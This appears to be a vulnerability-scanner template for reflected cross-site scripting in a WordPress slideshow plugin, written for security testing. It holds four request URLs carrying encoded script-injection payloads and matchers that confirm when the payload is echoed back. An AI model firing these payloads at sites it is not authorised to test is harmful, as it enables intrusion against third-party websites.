33 lines
1.2 KiB
YAML
33 lines
1.2 KiB
YAML
|
id: wp-slideshow-xss
|
||
|
|
||
|
info:
|
||
|
name: WordPress Plugin Slideshow - Reflected Cross-Site Scripting (XSS)
|
||
|
author: daffainfo
|
||
|
severity: medium
|
||
|
reference: https://www.exploit-db.com/exploits/37948
|
||
|
tags: wordpress,xss,wp-plugin
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId=%22%3B%3E%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
|
||
|
- '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
|
||
|
- '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
|
||
|
- '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- "<script>alert(123);</script>"
|
||
|
part: body
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- text/html
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|